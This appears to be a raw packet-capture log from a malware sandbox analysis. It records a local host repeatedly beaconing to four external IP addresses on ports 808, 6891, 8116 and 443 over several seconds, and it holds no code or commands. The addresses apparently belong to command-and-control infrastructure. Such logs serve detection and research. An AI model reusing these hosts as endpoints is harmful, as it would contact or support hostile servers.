Oct 28, 2021 04:47:04.844950914 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:04.845062017 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.845611095 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:04.997313023 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.002065897 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.002098083 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.002110004 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.002121925 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.004798889 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.004940987 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.005050898 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.005598068 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.010251999 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.010406017 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.164932013 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.169589996 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.169668913 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.169780016 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.400439978 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.400463104 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.400612116 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.412163973 CEST	50032	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.542228937 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.545470953 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.545499086 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.545702934 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.545793056 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.551253080 CEST	50033	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:05.578293085 CEST	808	50032	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.672560930 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.708928108 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:05.709151983 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.710680962 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.712640047 CEST	808	50033	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:05.837970972 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:05.838186026 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.839410067 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.876255035 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:05.876447916 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:05.876583099 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.877522945 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.884597063 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:05.884780884 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.004985094 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.005016088 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.005306959 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.005613089 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.008349895 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.008450985 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.050106049 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.050127983 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.086316109 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.173717022 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.173746109 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.173762083 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.173778057 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.427491903 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.427521944 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.427575111 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.427612066 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.433670044 CEST	50034	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.544768095 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.550925970 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.550944090 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.551032066 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.557245016 CEST	50035	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:06.598836899 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.598958969 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.598999977 CEST	6891	50034	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.599628925 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.653376102 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.653415918 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.653508902 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.654340982 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.659679890 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.659774065 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.668749094 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.715549946 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.715580940 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.715601921 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.722562075 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.722596884 CEST	6891	50035	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:06.722711086 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.723366976 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.776294947 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.776784897 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.776879072 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.777316093 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.780042887 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.780158043 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.833643913 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.833662987 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.883500099 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.883517027 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:06.883611917 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.890645981 CEST	50036	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:06.945066929 CEST	8116	50036	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:07.003398895 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.003439903 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.003535986 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.004014015 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.004028082 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.006197929 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:07.006227016 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:07.006283998 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:07.006316900 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:07.008521080 CEST	50037	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:07.061356068 CEST	8116	50037	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:07.122437000 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.122488976 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.122590065 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.123155117 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.123173952 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.488464117 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.488605022 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.489455938 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.489473104 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.494654894 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.494673967 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.494764090 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.494772911 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.619618893 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.619769096 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.620481014 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.620496035 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.625724077 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.625751019 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:07.625859022 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:07.625869036 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.182327032 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.182404041 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.182461023 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.182480097 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.190728903 CEST	50038	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.190771103 CEST	443	50038	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.314584017 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.314670086 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.314717054 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.314740896 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.323951960 CEST	50039	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:08.323986053 CEST	443	50039	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:08.327936888 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.487512112 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.487620115 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.488154888 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.547774076 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.647499084 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.647680998 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.647773027 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.648175001 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.653836012 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.653969049 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.713762045 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.714057922 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.720999956 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.808142900 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.813451052 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.813468933 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.813477039 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.813489914 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.889221907 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.889441967 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:08.889559031 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.890017033 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.892784119 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:08.892867088 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.057794094 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.059623957 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.059647083 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.059667110 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.059720993 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.192118883 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.192167044 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.192260027 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.192296982 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.209283113 CEST	50040	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.363251925 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.368729115 CEST	808	50040	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.447700977 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.447738886 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.451622963 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.454523087 CEST	50041	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:09.529665947 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.533088923 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.533843040 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.573066950 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.620265007 CEST	808	50041	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:09.700160027 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.700285912 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.704497099 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.709446907 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.712475061 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.712554932 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.738656998 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.738826990 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.739769936 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.879060984 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.879081964 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.905129910 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.905231953 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:09.911370993 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.911861897 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.918160915 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:09.918292999 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:10.083509922 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.083542109 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.255911112 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.255950928 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.256236076 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:10.262474060 CEST	50042	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:10.403273106 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.428903103 CEST	6891	50042	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.461062908 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.465246916 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.465274096 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.468383074 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.468385935 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:10.469676018 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.472029924 CEST	50043	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:10.526738882 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.526938915 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.530930996 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.534157038 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.536921024 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.537008047 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.588762999 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.594021082 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.594047070 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.594696045 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.637440920 CEST	6891	50043	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:10.645654917 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.646258116 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.647147894 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.703661919 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.703728914 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.703789949 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.704197884 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.706828117 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.706912994 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.763387918 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.763418913 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.763433933 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.763783932 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.764172077 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.770157099 CEST	50044	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.827195883 CEST	8116	50044	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.915441990 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:10.915479898 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:10.915606976 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:10.917663097 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:10.917687893 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:10.955703974 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.955725908 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:10.957730055 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:10.960479975 CEST	50045	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:11.017090082 CEST	8116	50045	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:11.073456049 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.073481083 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.078418970 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.079830885 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.079840899 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.410902023 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.415204048 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.415688992 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.415700912 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.420206070 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.420223951 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.420277119 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.420286894 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.571427107 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.571533918 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.572073936 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.572084904 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.578862906 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.578880072 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:11.579032898 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:11.579041958 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.109771967 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.109846115 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.112155914 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:12.118212938 CEST	50046	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:12.118252993 CEST	443	50046	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.270680904 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.270761013 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.270802021 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:12.271389961 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:12.272953987 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.273893118 CEST	50047	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:12.273910999 CEST	443	50047	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:12.433829069 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.434047937 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.434981108 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.507071018 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.595871925 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.595937014 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.596025944 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.596663952 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.601615906 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.601743937 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.674007893 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.674104929 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.675205946 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.758114100 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.762545109 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.762571096 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.762581110 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.762595892 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.841928959 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.842091084 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:12.842365026 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.842988014 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.845993996 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:12.846019983 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.010015011 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.013164043 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.013272047 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.137074947 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.137111902 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.137186050 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.137218952 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.142462015 CEST	50048	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.271599054 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.303240061 CEST	808	50048	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.394547939 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.394578934 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.396471024 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.397825003 CEST	50049	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:13.437103033 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.437196970 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.437768936 CEST	50050	6891	192.168.2.5	45.77.0.96
